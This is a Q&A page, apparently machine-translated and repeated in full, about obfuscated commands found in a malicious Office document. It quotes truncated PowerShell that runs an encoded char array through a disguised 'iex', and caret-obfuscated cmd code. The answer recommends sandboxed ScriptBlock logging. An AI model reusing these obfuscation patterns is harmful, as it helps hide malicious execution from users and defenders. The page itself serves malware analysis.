Office 文件中的 Shell 或 bash 命令
Shell or bash commands in office files
在分析 doc 文件时,我看到一些强大的 shell 命令,例如
Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109
或
Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^@^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\^h^s\'^y4D^w^XoWJNzL@^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)
这些是如何解释的?例如,我猜 62 , 116, 109 ,84
是十进制值。但是,将它们转换为 ascii 没有意义。第二个,例如 fiNd^^str , H^^C \' ; ; ) ; ^do
听起来像 bash 脚本。但是没有意义。
这是否意味着它们被混淆了?还是混淆是别的东西?!
How these are interpreted?
好吧,这些代码像任何其他 PowerShell 代码一样被解析和解释。人类更难阅读。 [char]116
就是这样。您可以将其输入 PowerShell 并找出它是什么(t
的 ascii 代码)。
Does that mean, they are obfuscated?
是的。
去混淆的最简单方法是 运行 启用 ScriptBlock logging。事件日志将揭示实际正在执行的内容。由于您不知道要执行什么:只能在隔离的沙箱环境中执行此操作!
在分析 doc 文件时,我看到一些强大的 shell 命令,例如
Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109
或
Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^@^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\^h^s\'^y4D^w^XoWJNzL@^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)
这些是如何解释的?例如,我猜 62 , 116, 109 ,84
是十进制值。但是,将它们转换为 ascii 没有意义。第二个,例如 fiNd^^str , H^^C \' ; ; ) ; ^do
听起来像 bash 脚本。但是没有意义。
这是否意味着它们被混淆了?还是混淆是别的东西?!
How these are interpreted?
好吧,这些代码像任何其他 PowerShell 代码一样被解析和解释。人类更难阅读。 [char]116
就是这样。您可以将其输入 PowerShell 并找出它是什么(t
的 ascii 代码)。
Does that mean, they are obfuscated?
是的。
去混淆的最简单方法是 运行 启用 ScriptBlock logging。事件日志将揭示实际正在执行的内容。由于您不知道要执行什么:只能在隔离的沙箱环境中执行此操作!